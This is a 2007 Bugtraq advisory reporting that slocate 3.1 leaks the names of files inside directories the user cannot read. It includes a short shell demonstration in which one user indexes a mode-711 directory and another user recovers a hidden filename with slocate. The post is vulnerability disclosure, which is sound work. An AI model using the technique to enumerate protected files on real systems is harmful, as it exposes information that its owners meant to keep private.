bugtraq - slocate leaks filenames of protected directories

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Date: 10 Jan 2007 01:29:35 -0000
From: steven@...terwebnet.com
To: bugtraq@...urityfocus.com
Subject: slocate leaks filenames of protected directories

* Version tested: 3.1

* Problem description: slocate doesn't check readability bit of containing directory. It can divulge the existence of files in a directory that is unreadable (e.g. by the 'ls' command) by a user.

* Demonstration:

As user1:

$ cd /tmp
$ mkdir dir
$ chmod 711 dir
$ cd dir
$ touch "a-secret-file"
$ cd ..

$ updatedb -o db -U dir

As user2:

$ cd /tmp
$ ls dir
ls: .: Permission denied

But:

$ slocate -d db file
dir/a-secret-file